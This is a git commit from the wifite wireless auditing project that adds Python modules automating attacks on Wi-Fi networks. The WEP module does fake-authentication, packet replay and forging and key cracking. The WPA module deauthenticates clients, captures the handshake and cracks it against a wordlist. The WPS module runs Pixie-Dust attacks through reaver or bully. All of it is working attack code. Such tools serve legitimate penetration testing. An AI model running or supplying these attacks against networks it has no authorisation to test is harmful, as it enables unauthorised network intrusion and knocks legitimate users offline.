Massive refactor/renaming. No more upper-case filenames.
This commit is contained in:
derv82
0
wifite/attack/__init__.py
Normal file
0
wifite/attack/__init__.py
Normal file
330
wifite/attack/wep.py
Executable file
330
wifite/attack/wep.py
Executable file
@@ -0,0 +1,330 @@
|
||||
#!/usr/bin/python2.7
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from ..model.attack import Attack
|
||||
from ..tools.airodump import Airodump
|
||||
from ..tools.aireplay import Aireplay, WEPAttackType
|
||||
from ..tools.aircrack import Aircrack
|
||||
from ..config import Configuration
|
||||
from ..model.interface import Interface
|
||||
from ..util.color import Color
|
||||
from ..model.wep_result import CrackResultWEP
|
||||
|
||||
import time
|
||||
|
||||
class AttackWEP(Attack):
|
||||
'''
|
||||
Contains logic for attacking a WEP-encrypted access point.
|
||||
'''
|
||||
|
||||
fakeauth_wait = 5
|
||||
|
||||
def __init__(self, target):
|
||||
super(AttackWEP, self).__init__(target)
|
||||
self.crack_result = None
|
||||
self.success = False
|
||||
|
||||
def run(self):
|
||||
'''
|
||||
Initiates full WEP attack.
|
||||
Including airodump-ng starting, cracking, etc.
|
||||
Returns: True if attack is succesful, false otherwise
|
||||
'''
|
||||
|
||||
aircrack = None # Aircrack process, not started yet
|
||||
fakeauth_proc = None
|
||||
replay_file = None
|
||||
|
||||
attacks_remaining = list(Configuration.wep_attacks)
|
||||
while len(attacks_remaining) > 0:
|
||||
attack_name = attacks_remaining.pop(0)
|
||||
# BIG try-catch to capture ctrl+c
|
||||
try:
|
||||
# Start Airodump process
|
||||
with Airodump(channel=self.target.channel,
|
||||
target_bssid=self.target.bssid,
|
||||
ivs_only=True, # Only capture IVs packets
|
||||
skip_wps=True, # Don't check for WPS-compatibility
|
||||
output_file_prefix='wep') as airodump:
|
||||
|
||||
Color.clear_line()
|
||||
Color.p('\r{+} {O}waiting{W} for target to appear...')
|
||||
airodump_target = self.wait_for_target(airodump)
|
||||
|
||||
fakeauth_proc = None
|
||||
if self.fake_auth():
|
||||
# We successfully authenticated!
|
||||
# Use our interface's MAC address for the attacks.
|
||||
client_mac = Interface.get_mac()
|
||||
# Keep us authenticated
|
||||
fakeauth_proc = Aireplay(self.target, "fakeauth")
|
||||
elif len(airodump_target.clients) == 0:
|
||||
# Failed to fakeauth, can't use our MAC.
|
||||
# And there are no associated clients. Use one and tell the user.
|
||||
Color.pl('{!} {O}there are no associated clients{W}')
|
||||
Color.pl('{!} {R}WARNING: {O}many attacks will not succeed' +
|
||||
' without fake-authentication or associated clients{W}')
|
||||
client_mac = None
|
||||
else:
|
||||
# Fakeauth failed, but we can re-use an existing client
|
||||
client_mac = airodump_target.clients[0].station
|
||||
|
||||
# Convert to WEPAttackType.
|
||||
wep_attack_type = WEPAttackType(attack_name)
|
||||
|
||||
# Start Aireplay process.
|
||||
aireplay = Aireplay(self.target,
|
||||
wep_attack_type,
|
||||
client_mac=client_mac)
|
||||
|
||||
time_unchanged_ivs = time.time() # Timestamp when IVs last changed
|
||||
previous_ivs = 0
|
||||
|
||||
# Loop until attack completes.
|
||||
|
||||
while True:
|
||||
airodump_target = self.wait_for_target(airodump)
|
||||
status = "%d/{C}%d{W} IVs" % (airodump_target.ivs, Configuration.wep_crack_at_ivs)
|
||||
if fakeauth_proc:
|
||||
if fakeauth_proc and fakeauth_proc.status:
|
||||
status += ", {G}fakeauth{W}"
|
||||
else:
|
||||
status += ", {R}no-auth{W}"
|
||||
if aireplay.status is not None:
|
||||
status += ", %s" % aireplay.status
|
||||
Color.clear_entire_line()
|
||||
Color.pattack("WEP",
|
||||
airodump_target,
|
||||
"%s" % attack_name,
|
||||
status)
|
||||
|
||||
#self.aircrack_check()
|
||||
|
||||
# Check if we cracked it.
|
||||
if aircrack and aircrack.is_cracked():
|
||||
(hex_key, ascii_key) = aircrack.get_key_hex_ascii()
|
||||
bssid = airodump_target.bssid
|
||||
if airodump_target.essid_known:
|
||||
essid = airodump_target.essid
|
||||
else:
|
||||
essid = None
|
||||
Color.pl('\n{+} {C}%s{W} WEP attack {G}successful{W}\n'
|
||||
% attack_name)
|
||||
if aireplay: aireplay.stop()
|
||||
if fakeauth_proc: fakeauth_proc.stop()
|
||||
self.crack_result = CrackResultWEP(self.target.bssid,
|
||||
self.target.essid, hex_key, ascii_key)
|
||||
self.crack_result.dump()
|
||||
self.success = True
|
||||
return self.success
|
||||
|
||||
if aircrack and aircrack.is_running():
|
||||
# Aircrack is running in the background.
|
||||
Color.p("and {C}cracking{W}")
|
||||
|
||||
# Check number of IVs, crack if necessary
|
||||
if airodump_target.ivs > Configuration.wep_crack_at_ivs:
|
||||
if not aircrack:
|
||||
# Aircrack hasn't started yet. Start it.
|
||||
ivs_file = airodump.find_files(endswith='.ivs')[0]
|
||||
aircrack = Aircrack(ivs_file)
|
||||
|
||||
elif not aircrack.is_running():
|
||||
# Aircrack stopped running.
|
||||
Color.pl('\n{!} {O}aircrack stopped running!{W}')
|
||||
ivs_file = airodump.find_files(endswith='.ivs')[0]
|
||||
Color.pl('{+} {C}aircrack{W} stopped, restarting...')
|
||||
self.fake_auth()
|
||||
aircrack = Aircrack(ivs_file)
|
||||
|
||||
elif Configuration.wep_restart_aircrack > 0 and \
|
||||
aircrack.pid.running_time() > Configuration.wep_restart_aircrack:
|
||||
# Restart aircrack after X seconds
|
||||
aircrack.stop()
|
||||
ivs_file = airodump.find_files(endswith='.ivs')[0]
|
||||
Color.pl('\n{+} {C}aircrack{W} ran for more than' +
|
||||
' {C}%d{W} seconds, restarting'
|
||||
% Configuration.wep_restart_aircrack)
|
||||
aircrack = Aircrack(ivs_file)
|
||||
|
||||
|
||||
if not aireplay.is_running():
|
||||
# Some Aireplay attacks loop infinitely
|
||||
if attack_name == 'chopchop' or attack_name == 'fragment':
|
||||
# We expect these to stop once a .xor is created, or if the process failed.
|
||||
|
||||
replay_file = None
|
||||
|
||||
# Check for .xor file.
|
||||
xor_file = Aireplay.get_xor()
|
||||
if not xor_file:
|
||||
# If .xor is not there, the process failed.
|
||||
Color.pl('\n{!} {O}%s attack{R} did not generate a .xor file' % attack_name)
|
||||
# XXX: For debugging
|
||||
Color.pl('{?} {O}Command: {R}%s{W}' % aireplay.cmd)
|
||||
Color.pl('{?} {O}Output:\n{R}%s{W}' % aireplay.get_output())
|
||||
break
|
||||
|
||||
# If .xor exists, run packetforge-ng to create .cap
|
||||
Color.pl('\n{+} {C}%s attack{W}' % attack_name +
|
||||
' generated a {C}.xor file{W}, {G}forging...{W}')
|
||||
replay_file = Aireplay.forge_packet(xor_file,
|
||||
airodump_target.bssid,
|
||||
client_mac)
|
||||
if replay_file:
|
||||
Color.pl('{+} {C}forged packet{W},' +
|
||||
' {G}replaying...{W}')
|
||||
wep_attack_type = WEPAttackType("forgedreplay")
|
||||
attack_name = "forgedreplay"
|
||||
aireplay = Aireplay(self.target,
|
||||
'forgedreplay',
|
||||
client_mac=client_mac,
|
||||
replay_file=replay_file)
|
||||
continue
|
||||
else:
|
||||
# Failed to forge packet. drop out
|
||||
break
|
||||
else:
|
||||
Color.pl('\n{!} {O}aireplay-ng exited unexpectedly{W}')
|
||||
Color.pl('{?} {O}Command: {R}%s{W}' % aireplay.cmd)
|
||||
Color.pl('{?} {O}Output:\n%s{W}' % aireplay.get_output())
|
||||
break # Continue to other attacks
|
||||
|
||||
# Check if IVs stopped flowing (same for > N seconds)
|
||||
if airodump_target.ivs > previous_ivs:
|
||||
time_unchanged_ivs = time.time()
|
||||
elif Configuration.wep_restart_stale_ivs > 0 and \
|
||||
attack_name != 'chopchop' and \
|
||||
attack_name != 'fragment':
|
||||
stale_seconds = time.time() - time_unchanged_ivs
|
||||
if stale_seconds > Configuration.wep_restart_stale_ivs:
|
||||
# No new IVs within threshold, restart aireplay
|
||||
aireplay.stop()
|
||||
Color.pl('\n{!} restarting {C}aireplay{W} after' +
|
||||
' {C}%d{W} seconds of no new IVs'
|
||||
% stale_seconds)
|
||||
aireplay = Aireplay(self.target, \
|
||||
wep_attack_type, \
|
||||
client_mac=client_mac, \
|
||||
replay_file=replay_file)
|
||||
time_unchanged_ivs = time.time()
|
||||
previous_ivs = airodump_target.ivs
|
||||
|
||||
time.sleep(1)
|
||||
continue
|
||||
# End of big while loop
|
||||
# End of with-airodump
|
||||
except KeyboardInterrupt:
|
||||
if fakeauth_proc: fakeauth_proc.stop()
|
||||
if len(attacks_remaining) == 0:
|
||||
self.success = False
|
||||
return self.success
|
||||
if self.user_wants_to_stop(attack_name, attacks_remaining, airodump_target):
|
||||
self.success = False
|
||||
return self.success
|
||||
except Exception as e:
|
||||
Color.pl("\n{!} {R}Error: {O}%s" % str(e))
|
||||
if Configuration.verbose > 0 or Configuration.print_stack_traces:
|
||||
Color.pl('\n{!} {O}Full stack trace below')
|
||||
from traceback import format_exc
|
||||
Color.p('\n{!} ')
|
||||
err = format_exc().strip()
|
||||
err = err.replace('\n', '\n{!} {C} ')
|
||||
err = err.replace(' File', '{W}File')
|
||||
err = err.replace(' Exception: ', '{R}Exception: {O}')
|
||||
Color.pl(err)
|
||||
continue
|
||||
# End of big try-catch
|
||||
# End of for-each-attack-type loop
|
||||
|
||||
self.success = False
|
||||
return self.success
|
||||
|
||||
def user_wants_to_stop(self, current_attack, attacks_remaining, target):
|
||||
'''
|
||||
Ask user what attack to perform next (re-orders attacks_remaining, returns False),
|
||||
or if we should stop attacking this target (returns True).
|
||||
'''
|
||||
target_name = target.essid if target.essid_known else target.bssid
|
||||
|
||||
Color.pl("\n\n{!} {O}Interrupted")
|
||||
Color.pl("{+} {W}Next steps:")
|
||||
|
||||
# Deauth clients & retry
|
||||
attack_index = 1
|
||||
Color.pl(" {G}1{W}: {O}Deauth clients{W} and {G}retry{W} {C}%s attack{W} against {G}%s{W}" % (current_attack, target_name))
|
||||
|
||||
# Move onto a different WEP attack
|
||||
for attack_name in attacks_remaining:
|
||||
attack_index += 1
|
||||
Color.pl(" {G}%d{W}: Start new {C}%s attack{W} against {G}%s{W}" % (attack_index, attack_name, target_name))
|
||||
|
||||
# Stop attacking entirely
|
||||
attack_index += 1
|
||||
Color.pl(" {G}%d{W}: {R}Stop attacking, {O}Move onto next target{W}" % attack_index)
|
||||
while True:
|
||||
answer = raw_input(Color.s("{?} Select an option ({G}1-%d{W}): " % attack_index))
|
||||
if not answer.isdigit() or int(answer) < 1 or int(answer) > attack_index:
|
||||
Color.pl("{!} {R}Invalid input: {O}Must enter a number between {G}1-%d{W}" % attack_index)
|
||||
continue
|
||||
answer = int(answer)
|
||||
break
|
||||
|
||||
if answer == 1:
|
||||
# Deauth clients & retry
|
||||
deauth_count = 1
|
||||
Color.clear_entire_line()
|
||||
Color.p("\r{+} {O}Deauthenticating *broadcast*{W} (all clients)...")
|
||||
Aireplay.deauth(target.bssid, essid=target.essid)
|
||||
for client in target.clients:
|
||||
Color.clear_entire_line()
|
||||
Color.p("\r{+} {O}Deauthenticating client {C}%s{W}..." % client.station)
|
||||
Aireplay.deauth(target.bssid, client_mac=client.station, essid=target.essid)
|
||||
deauth_count += 1
|
||||
Color.clear_entire_line()
|
||||
Color.pl("\r{+} Sent {C}%d {O}deauths{W}" % deauth_count)
|
||||
# Re-insert current attack to top of list of attacks remaining
|
||||
attacks_remaining.insert(0, current_attack)
|
||||
return False # Don't stop
|
||||
elif answer == attack_index:
|
||||
return True # Stop attacking
|
||||
elif answer > 1:
|
||||
# User selected specific attack: Re-order attacks based on desired next-step
|
||||
attacks_remaining.insert(0, attacks_remaining.pop(answer-2))
|
||||
return False # Don't stop
|
||||
|
||||
def fake_auth(self):
|
||||
'''
|
||||
Attempts to fake-authenticate with target.
|
||||
Returns: True if successful,
|
||||
False is unsuccesful.
|
||||
'''
|
||||
Color.p('\r{+} attempting {G}fake-authentication{W} with {C}%s{W}...' % self.target.bssid)
|
||||
fakeauth = Aireplay.fakeauth(self.target, timeout=AttackWEP.fakeauth_wait)
|
||||
if fakeauth:
|
||||
Color.pl(' {G}success{W}')
|
||||
else:
|
||||
Color.pl(' {R}failed{W}')
|
||||
if Configuration.require_fakeauth:
|
||||
# Fakeauth is requried, fail
|
||||
raise Exception(
|
||||
'Fake-authenticate did not complete within' +
|
||||
' %d seconds' % AttackWEP.fakeauth_wait)
|
||||
else:
|
||||
# Warn that fakeauth failed
|
||||
Color.pl('{!} {O}' +
|
||||
'unable to fake-authenticate with target' +
|
||||
' (%s){W}' % self.target.bssid)
|
||||
Color.pl('{!} continuing attacks because' +
|
||||
' {G}--require-fakeauth{W} was not set')
|
||||
return fakeauth
|
||||
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
from Target import Target
|
||||
fields = "A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54e,WEP, WEP, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, ".split(',')
|
||||
target = Target(fields)
|
||||
wep = AttackWEP(target)
|
||||
wep.run()
|
||||
|
||||
300
wifite/attack/wpa.py
Executable file
300
wifite/attack/wpa.py
Executable file
@@ -0,0 +1,300 @@
|
||||
#!/usr/bin/python2.7
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from ..model.attack import Attack
|
||||
from ..tools.airodump import Airodump
|
||||
from ..tools.aireplay import Aireplay
|
||||
from ..config import Configuration
|
||||
from ..util.color import Color
|
||||
from ..util.process import Process
|
||||
from ..util.timer import Timer
|
||||
from ..model.handshake import Handshake
|
||||
from ..model.wpa_result import CrackResultWPA
|
||||
|
||||
import time
|
||||
import os
|
||||
import re
|
||||
from shutil import copy
|
||||
|
||||
class AttackWPA(Attack):
|
||||
def __init__(self, target):
|
||||
super(AttackWPA, self).__init__(target)
|
||||
self.clients = []
|
||||
self.crack_result = None
|
||||
self.success = False
|
||||
|
||||
def run(self):
|
||||
'''
|
||||
Initiates full WPA hanshake capture attack.
|
||||
'''
|
||||
|
||||
# Check if user only wants to run PixieDust attack
|
||||
if Configuration.wps_only and self.target.wps:
|
||||
Color.pl('\r{!} {O}--wps-only{R} set, ignoring WPA-handshake attack on {O}%s{W}' % self.target.essid)
|
||||
self.success = False
|
||||
return self.success
|
||||
|
||||
handshake = None
|
||||
|
||||
# Capture the handshake ("do it live!")
|
||||
if handshake is None:
|
||||
handshake = self.capture_handshake()
|
||||
|
||||
if handshake is None:
|
||||
# Failed to capture handshake
|
||||
self.success = False
|
||||
return self.success
|
||||
|
||||
# Analyze handshake
|
||||
Color.pl('\n{+} analysis of captured handshake file:')
|
||||
handshake.analyze()
|
||||
|
||||
# Crack it
|
||||
key = self.crack_handshake(handshake, Configuration.wordlist)
|
||||
if key is None:
|
||||
self.success = False
|
||||
else:
|
||||
self.crack_result = CrackResultWPA(handshake.bssid, handshake.essid, handshake.capfile, key)
|
||||
self.crack_result.dump()
|
||||
self.success = True
|
||||
return self.success
|
||||
|
||||
def capture_handshake(self):
|
||||
''' Returns captured or stored handshake, otherwise None '''
|
||||
handshake = None
|
||||
|
||||
# First, start Airodump process
|
||||
with Airodump(channel=self.target.channel,
|
||||
target_bssid=self.target.bssid,
|
||||
skip_wps=True,
|
||||
output_file_prefix='wpa') as airodump:
|
||||
|
||||
Color.clear_entire_line()
|
||||
Color.pattack("WPA", self.target, "Handshake capture", "Waiting for target to appear...")
|
||||
airodump_target = self.wait_for_target(airodump)
|
||||
|
||||
self.clients = []
|
||||
|
||||
# Try to load existing handshake
|
||||
if Configuration.ignore_old_handshakes == False:
|
||||
bssid = airodump_target.bssid
|
||||
essid = airodump_target.essid if airodump_target.essid_known else None
|
||||
handshake = self.load_handshake(bssid=bssid, essid=essid)
|
||||
if handshake:
|
||||
Color.pattack("WPA", self.target, "Handshake capture", "found {G}existing handshake{W} for {C}%s{W}" % handshake.essid)
|
||||
Color.pl('\n{+} Using handshake from {C}%s{W}' % handshake.capfile)
|
||||
return handshake
|
||||
|
||||
timeout_timer = Timer(Configuration.wpa_attack_timeout)
|
||||
deauth_timer = Timer(Configuration.wpa_deauth_timeout)
|
||||
|
||||
while handshake is None and not timeout_timer.ended():
|
||||
step_timer = Timer(1)
|
||||
Color.clear_entire_line()
|
||||
Color.pattack("WPA",
|
||||
airodump_target,
|
||||
"Handshake capture",
|
||||
"Listening. (clients:{G}%d{W}, deauth:{O}%s{W}, timeout:{R}%s{W})" % (len(self.clients), deauth_timer, timeout_timer))
|
||||
|
||||
# Find .cap file
|
||||
cap_files = airodump.find_files(endswith='.cap')
|
||||
if len(cap_files) == 0:
|
||||
# No cap files yet
|
||||
time.sleep(step_timer.remaining())
|
||||
continue
|
||||
cap_file = cap_files[0]
|
||||
|
||||
# Copy .cap file to temp for consistency
|
||||
temp_file = Configuration.temp('handshake.cap.bak')
|
||||
copy(cap_file, temp_file)
|
||||
|
||||
# Check cap file in temp for Handshake
|
||||
bssid = airodump_target.bssid
|
||||
essid = airodump_target.essid if airodump_target.essid_known else None
|
||||
handshake = Handshake(temp_file, bssid=bssid, essid=essid)
|
||||
if handshake.has_handshake():
|
||||
# We got a handshake
|
||||
Color.pl('\n\n{+} {G}successfully captured handshake{W}')
|
||||
break
|
||||
|
||||
# There is no handshake
|
||||
handshake = None
|
||||
# Delete copied .cap file in temp to save space
|
||||
os.remove(temp_file)
|
||||
|
||||
# Look for new clients
|
||||
airodump_target = self.wait_for_target(airodump)
|
||||
for client in airodump_target.clients:
|
||||
if client.station not in self.clients:
|
||||
Color.clear_entire_line()
|
||||
Color.pattack("WPA",
|
||||
airodump_target,
|
||||
"Handshake capture",
|
||||
"Discovered new client: {G}%s{W}" % client.station)
|
||||
Color.pl("")
|
||||
self.clients.append(client.station)
|
||||
|
||||
# Send deauth to a client or broadcast
|
||||
if deauth_timer.ended():
|
||||
self.deauth(airodump_target)
|
||||
# Restart timer
|
||||
deauth_timer = Timer(Configuration.wpa_deauth_timeout)
|
||||
|
||||
# Sleep for at-most 1 second
|
||||
time.sleep(step_timer.remaining())
|
||||
continue # Handshake listen+deauth loop
|
||||
|
||||
if handshake is None:
|
||||
# No handshake, attack failed.
|
||||
Color.pl("\n{!} {O}WPA handshake capture {R}FAILED:{O} Timed out after %d seconds" % (Configuration.wpa_attack_timeout))
|
||||
return handshake
|
||||
else:
|
||||
# Save copy of handshake to ./hs/
|
||||
self.save_handshake(handshake)
|
||||
return handshake
|
||||
|
||||
def crack_handshake(self, handshake, wordlist):
|
||||
'''Tries to crack a handshake. Returns WPA key if found, otherwise None.'''
|
||||
if wordlist is None:
|
||||
Color.pl("{!} {O}Not cracking handshake because" +
|
||||
" wordlist ({R}--dict{O}) is not set")
|
||||
return None
|
||||
elif not os.path.exists(wordlist):
|
||||
Color.pl("{!} {O}Not cracking handshake because" +
|
||||
" wordlist {R}%s{O} was not found" % wordlist)
|
||||
return None
|
||||
|
||||
Color.pl("\n{+} {C}Cracking WPA Handshake:{W} Using {C}aircrack-ng{W} via" +
|
||||
" {C}%s{W} wordlist" % os.path.split(wordlist)[-1])
|
||||
|
||||
key_file = Configuration.temp('wpakey.txt')
|
||||
command = [
|
||||
"aircrack-ng",
|
||||
"-a", "2",
|
||||
"-w", wordlist,
|
||||
"--bssid", handshake.bssid,
|
||||
"-l", key_file,
|
||||
handshake.capfile
|
||||
]
|
||||
crack_proc = Process(command)
|
||||
|
||||
# Report progress of cracking
|
||||
aircrack_nums_re = re.compile(r"(\d+)/(\d+) keys tested.*\(([\d.]+)\s+k/s")
|
||||
aircrack_key_re = re.compile(r"Current passphrase:\s*([^\s].*[^\s])\s*$")
|
||||
num_tried = num_total = 0
|
||||
percent = num_kps = 0.0
|
||||
eta_str = "unknown"
|
||||
current_key = ''
|
||||
while crack_proc.poll() is None:
|
||||
line = crack_proc.pid.stdout.readline()
|
||||
match_nums = aircrack_nums_re.search(line)
|
||||
match_keys = aircrack_key_re.search(line)
|
||||
if match_nums:
|
||||
num_tried = int(match_nums.group(1))
|
||||
num_total = int(match_nums.group(2))
|
||||
num_kps = float(match_nums.group(3))
|
||||
eta_seconds = (num_total - num_tried) / num_kps
|
||||
eta_str = Timer.secs_to_str(eta_seconds)
|
||||
percent = 100.0 * float(num_tried) / float(num_total)
|
||||
elif match_keys:
|
||||
current_key = match_keys.group(1)
|
||||
else:
|
||||
continue
|
||||
|
||||
status = "\r{+} {C}Cracking WPA Handshake: %0.2f%%{W}" % percent
|
||||
status += " ETA: {C}%s{W}" % eta_str
|
||||
status += " @ {C}%0.1fkps{W}" % num_kps
|
||||
#status += " ({C}%d{W}/{C}%d{W} keys)" % (num_tried, num_total)
|
||||
status += " (current key: {C}%s{W})" % current_key
|
||||
Color.clear_entire_line()
|
||||
Color.p(status)
|
||||
|
||||
Color.pl("")
|
||||
# Check crack result
|
||||
if os.path.exists(key_file):
|
||||
with open(key_file, "r") as fid:
|
||||
key = fid.read().strip()
|
||||
os.remove(key_file)
|
||||
|
||||
Color.pl("{+} {G}Cracked WPA Handshake{W} PSK: {G}%s{W}\n" % key)
|
||||
return key
|
||||
else:
|
||||
Color.pl("{!} {R}Failed to crack handshake:" +
|
||||
" {O}%s{R} did not contain password{W}" % wordlist.split(os.sep)[-1])
|
||||
return None
|
||||
|
||||
def load_handshake(self, bssid, essid):
|
||||
if not os.path.exists(Configuration.wpa_handshake_dir):
|
||||
return None
|
||||
|
||||
if essid:
|
||||
essid_safe = re.escape(re.sub('[^a-zA-Z0-9]', '', essid))
|
||||
else:
|
||||
essid_safe = '[a-zA-Z0-9]+'
|
||||
bssid_safe = re.escape(bssid.replace(':', '-'))
|
||||
date = '\d{4}-\d{2}-\d{2}T\d{2}-\d{2}-\d{2}'
|
||||
get_filename = re.compile('handshake_%s_%s_%s\.cap' % (essid_safe, bssid_safe, date))
|
||||
|
||||
for filename in os.listdir(Configuration.wpa_handshake_dir):
|
||||
cap_filename = os.path.join(Configuration.wpa_handshake_dir, filename)
|
||||
if os.path.isfile(cap_filename) and re.match(get_filename, filename):
|
||||
return Handshake(capfile=cap_filename, bssid=bssid, essid=essid)
|
||||
|
||||
return None
|
||||
|
||||
def save_handshake(self, handshake):
|
||||
'''
|
||||
Saves a copy of the handshake file to hs/
|
||||
Args:
|
||||
handshake - Instance of Handshake containing bssid, essid, capfile
|
||||
'''
|
||||
# Create handshake dir
|
||||
if not os.path.exists(Configuration.wpa_handshake_dir):
|
||||
os.mkdir(Configuration.wpa_handshake_dir)
|
||||
|
||||
# Generate filesystem-safe filename from bssid, essid and date
|
||||
essid_safe = re.sub('[^a-zA-Z0-9]', '', handshake.essid)
|
||||
bssid_safe = handshake.bssid.replace(':', '-')
|
||||
date = time.strftime('%Y-%m-%dT%H-%M-%S')
|
||||
cap_filename = 'handshake_%s_%s_%s.cap' % (essid_safe, bssid_safe, date)
|
||||
cap_filename = os.path.join(Configuration.wpa_handshake_dir, cap_filename)
|
||||
|
||||
if Configuration.wpa_strip_handshake:
|
||||
Color.p("{+} {C}stripping{W} non-handshake packets, saving to {G}%s{W}..." % cap_filename)
|
||||
handshake.strip(outfile=cap_filename)
|
||||
Color.pl('{G}saved{W}')
|
||||
else:
|
||||
Color.p('{+} saving copy of {C}handshake{W} to {C}%s{W} ' % cap_filename)
|
||||
copy(handshake.capfile, cap_filename)
|
||||
Color.pl('{G}saved{W}')
|
||||
|
||||
# Update handshake to use the stored handshake file for future operations
|
||||
handshake.capfile = cap_filename
|
||||
|
||||
|
||||
def deauth(self, target):
|
||||
'''
|
||||
Sends deauthentication request to broadcast and every client of target.
|
||||
Args:
|
||||
target - The Target to deauth, including clients.
|
||||
'''
|
||||
if Configuration.no_deauth: return
|
||||
|
||||
for index, client in enumerate([None] + self.clients):
|
||||
if client is None:
|
||||
target_name = "*broadcast*"
|
||||
else:
|
||||
target_name = client
|
||||
Color.clear_entire_line()
|
||||
Color.pattack("WPA",
|
||||
target,
|
||||
"Handshake capture",
|
||||
"Deauthing {O}%s{W}" % target_name)
|
||||
Aireplay.deauth(target.bssid, client_mac=client, timeout=2)
|
||||
|
||||
if __name__ == '__main__':
|
||||
from Target import Target
|
||||
fields = "A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 11, 54e,WPA, WPA, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, ".split(',')
|
||||
target = Target(fields)
|
||||
wpa = AttackWPA(target)
|
||||
wpa.run()
|
||||
48
wifite/attack/wps.py
Executable file
48
wifite/attack/wps.py
Executable file
@@ -0,0 +1,48 @@
|
||||
#!/usr/bin/python2.7
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from ..model.attack import Attack
|
||||
from ..util.color import Color
|
||||
from ..config import Configuration
|
||||
from ..tools.bully import Bully
|
||||
from ..tools.reaver import Reaver
|
||||
|
||||
class AttackWPS(Attack):
|
||||
def __init__(self, target):
|
||||
super(AttackWPS, self).__init__(target)
|
||||
self.success = False
|
||||
self.crack_result = None
|
||||
|
||||
def run(self):
|
||||
''' Run all WPS-related attacks '''
|
||||
|
||||
# Drop out if user specified to not use Reaver/Bully
|
||||
if Configuration.no_wps:
|
||||
Color.pl('\r{!} {O}--no-wps{R} set, ignoring WPS attack on {O}%s{W}' % self.target.essid)
|
||||
self.success = False
|
||||
return self.success
|
||||
|
||||
###################
|
||||
# Pixie-Dust attack
|
||||
if Configuration.use_bully:
|
||||
# Bully: Pixie-dust
|
||||
bully = Bully(self.target)
|
||||
bully.run()
|
||||
bully.stop()
|
||||
if bully.crack_result is not None:
|
||||
self.crack_result = bully.crack_result
|
||||
self.success = True
|
||||
return True
|
||||
else:
|
||||
reaver = Reaver(self.target)
|
||||
if reaver.is_pixiedust_supported():
|
||||
# Reaver: Pixie-dust
|
||||
reaver = Reaver(self.target)
|
||||
if reaver.run_pixiedust_attack():
|
||||
self.crack_result = reaver.crack_result
|
||||
self.success = True
|
||||
return True
|
||||
else:
|
||||
Color.pl("{!} {R}your version of 'reaver' does not support the {O}WPS pixie-dust attack{W}")
|
||||
|
||||
return False
|
||||
Reference in New Issue
Block a user